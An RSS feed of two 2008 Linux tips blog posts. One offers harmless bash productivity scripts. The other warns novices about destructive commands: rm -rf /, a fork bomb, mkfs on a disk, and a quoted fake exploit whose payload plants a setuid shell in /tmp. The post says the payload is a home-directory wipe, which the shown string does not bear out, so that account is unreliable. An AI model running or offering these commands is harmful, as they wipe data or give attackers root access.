<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Quick Tweaks &#187; TerminalFunFive</title>
	<atom:link href="http://www.quicktweaks.com/tag/terminalfunfive/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.quicktweaks.com</link>
	<description>Quick Tweaks For Your System</description>
	<lastBuildDate>Fri, 27 Nov 2009 22:29:24 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Fun with Linux Commands-III &#8211; Being productive</title>
		<link>http://www.quicktweaks.com/2008/11/01/fun-with-linux-commands-iii-being-productive/</link>
		<comments>http://www.quicktweaks.com/2008/11/01/fun-with-linux-commands-iii-being-productive/#comments</comments>
		<pubDate>Sat, 01 Nov 2008 07:06:44 +0000</pubDate>
		<dc:creator>ashokgelal</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[TerminalFunFive]]></category>
		<category><![CDATA[bash]]></category>
		<category><![CDATA[command]]></category>
		<category><![CDATA[script]]></category>

		<guid isPermaLink="false">http://www.quicktweaks.com/?p=252</guid>
		<description><![CDATA[Who says Linux commands are just for geek people? And who says it is just a fun toy? Linux is simple yet productive, the only limitation is your imagination.


Related posts:<ol><li><a href='http://www.quicktweaks.com/2009/11/26/10-linux-commands-for-fun/' rel='bookmark' title='Permanent Link: 10 Linux commands for fun'>10 Linux commands for fun</a> <small>Here are few Linux commands you can play with for...</small></li></ol>

Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.]]></description>
			<content:encoded><![CDATA[<p>Happy Linux commanding!</p>
<p>Who says Linux commands are just for geek people? And who says it is just a fun toy? Linux is simple yet productive, the only limitation is your imagination. Those who argue me with me for Linux being simple, here is a popular saying:</p>
<blockquote><p>*NIX is basically a simple operating system, but you have to be a genius to understand the simplicity</p></blockquote>
<p><span id="more-252"></span></p>
<p>In this post, we will talk about few commands and write a couple of scripts (don&#8217;t worry, it will be damn simple). Some guys might blame that these commands/ scripts have no use and might shout &#8220;why the hell do we need that.&#8221; Remember, these are just the tools. It&#8217;s upto you how well you use these tools for your tasks. Also remember, one who discovers the alternative uses of a tool is often called a Genious. Let&#8217;s get started:</p>
<p style="text-align: center;"><script type="text/javascript"><!--
google_ad_client = "pub-0816309066023726";
google_ad_slot = "7783831711";
google_ad_width = 468;
google_ad_height = 60;
//--></script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
</p>
<p>1. Make Linux speak that he loves himself.</p>
<p><code>espeak "I Love Linux"</code></p>
<p>Now you should be asking why the hell I need that? Well, what about you have a document, or a story and someone in your family is blind, or can&#8217;t see nicely. You don&#8217;t have enough time reading the document for him/ her. Ask him to sit in front of a computer and run this: espeak &lt; documentName</p>
<p>We have more to do with <em>espeak</em>, you can even output the file to a .wav file or a .ogg file so that you can record them in a CD and mail to someone you care!</p>
<p>Still not impressed? What about making it to read your email, or run it in the background so that it alerts you whenever a new mail arrives in your Inbox and then reads the sender&#8217;s name, and subject. Also, if you are little ambitious, you can even make it say the weather, if the weather changes drastically. I won&#8217;t discuss how to make it read your mails, or weather; I&#8217;m just talking about possibility. When I get some time, I&#8217;m thinking to write a script which reads my Gmails. Just keep coming back!</p>
<p>2. Making your own commands.</p>
<p>You have heard Linux is highly customizable. How about writing your own simple command. We will write a small script which allows you a convenient way to change the directories, actually to go back several levels up. Let&#8217;s suppose you are inside <em>/home/yourhome/a/b/c/d/e/f/g/h/i/j</em> directory. You want to change the directory (cd) to several levels up. You can easily do this with somthing like <em>cd ../../../../..</em> But what about something as similar as up 3 which will take you 3 levels up</p>
<p>Fireup your favorite text editor and type the following (don&#8217;t be intimated by thinking that you are programming something, I will explain this script line by line, don&#8217;w worry!):</p>
<p><code>#!/bin/bash<br />
LEVEL=$1<br />
for ((i = 1; i &lt;= LEVEL; i++))<br />
do<br />
CDIR=../$CDIR<br />
done<br />
cd $CDIR<br />
echo "You are in: "$PWD<br />
exec /bin/bash</code></p>
<p>Save the file as up and issue following two commands:</p>
<p><code>$ chmod 755 ./up</code></p>
<p>$ sudo cp up /usr/bin</p>
<p>Now, from your home directory try using this command:<br />
<code><br />
$ up 2</code></p>
<p>Where are you at? At root directory! See how easy it was? Let&#8217;s see how our little script chef made pizza for us:</p>
<p><code>#! /bin/bash</code> -&gt; you are using bash script</p>
<p><code>LEVEL=$1</code> -&gt; $1 is the first parameter passed to this script assigned to LEVEL</p>
<p><code>for ((i = 1; i &lt;= LEVEL; i++))</code> -&gt; for some times (upto LEVEL)&#8230;<br />
<code>do </code> -&gt; &#8230;we will go round&#8230;<br />
<code>CDIR=../$CDIR </code> -&gt; &#8230;creating our path and assigning it to CDIR and&#8230;<br />
<code>done</code> -&gt; &#8230;when we are done&#8230;<br />
<code>cd $CDIR</code> -&gt; &#8230;we will change our directory to the path we have created above and&#8230;<br />
<code>echo "You are in: "$PWD </code> -&gt; &#8230;we will let you know where you are and finally&#8230;<br />
<code>exec /bin/bash</code> -&gt; &#8230;we are done so let&#8217;s get a new shell</p>
<p>That&#8217;s was not to easy but wasn&#8217;t too hard either. It is not too hard to ease your repetitive tasks with a single file and increase your productivity.</p>
<p>Let&#8217;s make another little script&#8230;</p>
<p>3. What do you usually do changing a directory? List it contents right? How about this little script?</p>
<p><code>#!/bin/bash</code></p>
<p>cd $1</p>
<p>ls</p>
<p>exec /bin/bash</p>
<p>That&#8217;s it! Save it as <em>cdls</em> or something like that and then issue this command:<br />
<code>$ chmod 755 &amp; sudo cp cdls /usr/bin</code></p>
<p>For Ubuntu users, if you want a script that keeps track of all your &#8220;apt-get&#8221; activities by posting them to your Twitter account,<a title="tapt" href="http://www.quicktweaks.com/tapt/" target="_blank"> try this little handy script</a>.</p>
<p>4. One more thing about <em>cd</em>. Which is the fastest and easiest cd command that take you to your home directory? <strong><em>cd /home/yourhome </em></strong>? <em><strong>cd ~</strong></em> ? <em><strong>cd</strong></em> itself!</p>
<p><code>$ cd</code></p>
<p>It takes you to your home directory</p>
<p>5. Tired of typing clear to clear your screen? Press <code>ctrl + l</code></p>
<p>That&#8217;s it for today. Happy Halloween!</p>
<p style="text-align: center;"><script type="text/javascript"><!--
google_ad_client = "pub-0816309066023726";
google_ad_slot = "7783831711";
google_ad_width = 468;
google_ad_height = 60;
//--></script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
</p>


<p>Related posts:<ol><li><a href='http://www.quicktweaks.com/2009/11/26/10-linux-commands-for-fun/' rel='bookmark' title='Permanent Link: 10 Linux commands for fun'>10 Linux commands for fun</a> <small>Here are few Linux commands you can play with for...</small></li></ol></p>
<p>Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://www.quicktweaks.com/2008/11/01/fun-with-linux-commands-iii-being-productive/feed/</wfw:commentRss>
		<slash:comments>14</slash:comments>
		</item>
		<item>
		<title>Fun with Linux Commands-II &#8211; With Power Comes Responsibility</title>
		<link>http://www.quicktweaks.com/2008/10/24/fun-with-linux-commands-ii-with-power-comes-responsibility/</link>
		<comments>http://www.quicktweaks.com/2008/10/24/fun-with-linux-commands-ii-with-power-comes-responsibility/#comments</comments>
		<pubDate>Sat, 25 Oct 2008 02:43:04 +0000</pubDate>
		<dc:creator>ashokgelal</dc:creator>
				<category><![CDATA[TerminalFunFive]]></category>
		<category><![CDATA[commands]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Terminal]]></category>

		<guid isPermaLink="false">http://www.quicktweaks.com/?p=244</guid>
		<description><![CDATA[Happy Linux Commanding! But be careful!
The heading is self-explanatory. Linux Terminal seems dump but nothing is more clever than it. Linux is powerful and fun. When it is about something&#8217;s strength remember what Uncle Ben said.
When you are new to Linux you often seek to get help from others and almost most of the advices [...]


Related posts:<ol><li><a href='http://www.quicktweaks.com/2009/11/26/10-linux-commands-for-fun/' rel='bookmark' title='Permanent Link: 10 Linux commands for fun'>10 Linux commands for fun</a> <small>Here are few Linux commands you can play with for...</small></li></ol>

Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.]]></description>
			<content:encoded><![CDATA[<p>Happy Linux Commanding! But be careful!</p>
<p>The heading is self-explanatory. Linux Terminal seems dump but nothing is more clever than it. Linux is powerful and fun. When it is about something&#8217;s strength remember what <a title="Uncle Ben says Linux is powerful ;-)" href="http://www.imdb.com/title/tt0145487/quotes" target="_blank">Uncle Ben said</a>.</p>
<p>When you are new to Linux you often seek to get help from others and almost most of the advices you get will be in the form of some commands such as<code> ps, top, modprobe, lspci</code> etc. Be careful when you run these commands as some <a title="Harmful tips for Linux" href="http://linsux.org/index.php?topic=96.0" target="_blank">Anti-Linux a**holes try to fool new Linux users in the name of tips and tutorials</a>.If after following such command(s), you lose all your files, no one is to be blamed but you.</p>
<p><span id="more-244"></span></p>
<p>If you want save yourself, here is one principle: Be aware of what you are doing! Just don&#8217;t do what someone suggest you. Fireup <em>man</em> page, look what the command is about. This way you can learn a couple of more options too. If you are in doubt about the commands, go to a couple of forums and put all information you have such as: <strong>Hello I was trying to do this, and a guy from <em>forum.xyz.com</em> suggest me to issue this command. I suspect this is a harmful command. Any suggestions?</strong> Take my words, Linux carries a strong spirit with it &#8211; spirit to share knowledge. And you will get some good explanatory suggestions very quickly. If you are still in doubt, I suggest you to issue the commands inside virtual OS:</p>
<p style="text-align: center;"><script type="text/javascript"><!--
google_ad_client = "pub-0816309066023726";
google_ad_slot = "7783831711";
google_ad_width = 468;
google_ad_height = 60;
//--></script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
</p>
<p>Last thing first. Today I will be posting some harmful Linux commands. DO NOT ISSUE THESE COMMANDS! These commands are just for your information. These commands are not made for making harm to your computer, but with a couple of options it can be very dangerous. After all Linux doesn&#8217;t know that a folder inside your home directory contains your first girlfriend&#8217;s picture! It is your duty to ensure they are safe. Let&#8217;s get started. I repeat <strong>DON&#8217;T ISSUE THESE COMMANDS</strong>. If you want to test, I suggest you to run them inside a virtual Linux OS.</p>
<p>1. The king of all devils:</p>
<p><code>rm -rf /</code></p>
<p>Q. What does <em>rm</em> do?</p>
<p>A. Removes a file</p>
<p>Q. What is <em>r</em>?</p>
<p>A. Recursion. That means inside a folder, of a folder, of a folder and so on</p>
<p>Q. what is <em>f</em>?</p>
<p>A. Force. It means you are saying to the command<em> &#8220;Never ask me anything. Just do what you want to do&#8221;</em></p>
<p>Q. What is <em>/</em></p>
<p>A. Your <em>ROOT</em> directory!</p>
<p>See what it does? <em>Recursively removes all the files inside your root directory without nagging you &#8211; &#8220;Should I delete this?&#8221;<br />
</em><br />
There are various versions of <em>rm</em> available such as:</p>
<p><em>rm -rf .<br />
rm -rf *</em></p>
<p>Not only someone from outside, you yourself can screw up things sometimes. Little knowledge is dangerous! How about this &#8211; you want to delete all the hidden files inside a directory. That&#8217;s easy right? Hidden files are denoted with <strong>.</strong> in front so you might be thinking this command <strong><code>rm - .*</code></strong> Nooooooooooo!!! It will delete all the files one level up of the current directory.</p>
<p>2. How about backing up your home directory or some folders? Never try to do anything such as:</p>
<p><code>mv /home/yourhomedirectory/* /dev/null</code></p>
<p>Q. What is <em>mv</em>?</p>
<p>A. Move files</p>
<p>Q. What is <em>dev/null</em>?</p>
<p>A. Null means nothing. In other words, it is a black-hole.</p>
<p>If you issue above command, it will move all the files inside your home directory to a blackhole.</p>
<p>3. Linux Terminal is not a toy to play, it&#8217;s something to learn and do some productive things. I just mean to warn you don&#8217;t type anything silly and hit enter such as this:</p>
<p><code> <img src='http://www.quicktweaks.com/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' /> ){:|:&amp;};:</code></p>
<p>Those seem like emoticons but they are actually shell programming stuffs and have special meaning. The above command executes different process freezing your computer and you will get a BSOD, a sort of! <img src='http://www.quicktweaks.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>
<p>4. How about making a Linux filesystem?</p>
<p><code>mkfs.ext3 /dev/sda</code></p>
<p>You hard disk&#8217;s data are gone, and will never come back again. That was a poor farewell party for your documents.</p>
<p>5. Do you know eyes and your knowledge both can lie? Well sometimes. What do you see in the following C file written by someone claiming <a title="sudo off-by-one poc exploit" href="http://seclists.org/fulldisclosure/2007/Aug/0071.html" target="_blank">New sudo off-by-one poc exploit</a>? Any sign of devil?</p>
<blockquote><p><code>...</code></p>
<p>char esp[] __attribute__ ((section(&#8220;.text&#8221;))) /* e.s.p<br />
release */<br />
= &#8220;\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68&#8243;<br />
&#8220;\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99&#8243;<br />
&#8220;\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7&#8243;<br />
&#8220;\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56&#8243;<br />
&#8220;\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31&#8243;<br />
&#8220;\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69&#8243;<br />
&#8220;\x6e\x2f\x73\x68\x00\x2d\x63\x00&#8243;<br />
&#8220;cp -p /bin/sh /tmp/.beyond; chmod 4755<br />
/tmp/.beyond;&#8221;;</p>
<p>&#8230;</p></blockquote>
<p>Well this is a hex coded version of <code><strong>rm -rf ~ / &amp;</strong></code> . This does nothing more than wiping off your home directory.</p>
<p>These are only a few guidelines you need to follow. If you know some more, drop them in comments.</p>
<p>If you want to learn Linux, conquer its power, have fun, and be productive, you need to be careful, helpful, and share your knowledge. If you have any knowledge on Linux that you want to share, let us know in comments or shoot me an email.</p>
<p>So what did you learn today?</p>
<p style="text-align: center;"><script type="text/javascript"><!--
google_ad_client = "pub-0816309066023726";
google_ad_slot = "7783831711";
google_ad_width = 468;
google_ad_height = 60;
//--></script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
</p>


<p>Related posts:<ol><li><a href='http://www.quicktweaks.com/2009/11/26/10-linux-commands-for-fun/' rel='bookmark' title='Permanent Link: 10 Linux commands for fun'>10 Linux commands for fun</a> <small>Here are few Linux commands you can play with for...</small></li></ol></p>
<p>Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://www.quicktweaks.com/2008/10/24/fun-with-linux-commands-ii-with-power-comes-responsibility/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
	</channel>
</rss>

<!-- Dynamic page generated in 0.897 seconds. -->
<!-- Cached page generated by WP-Super-Cache on 2010-01-01 23:17:39 -->
<!-- Compression = gzip -->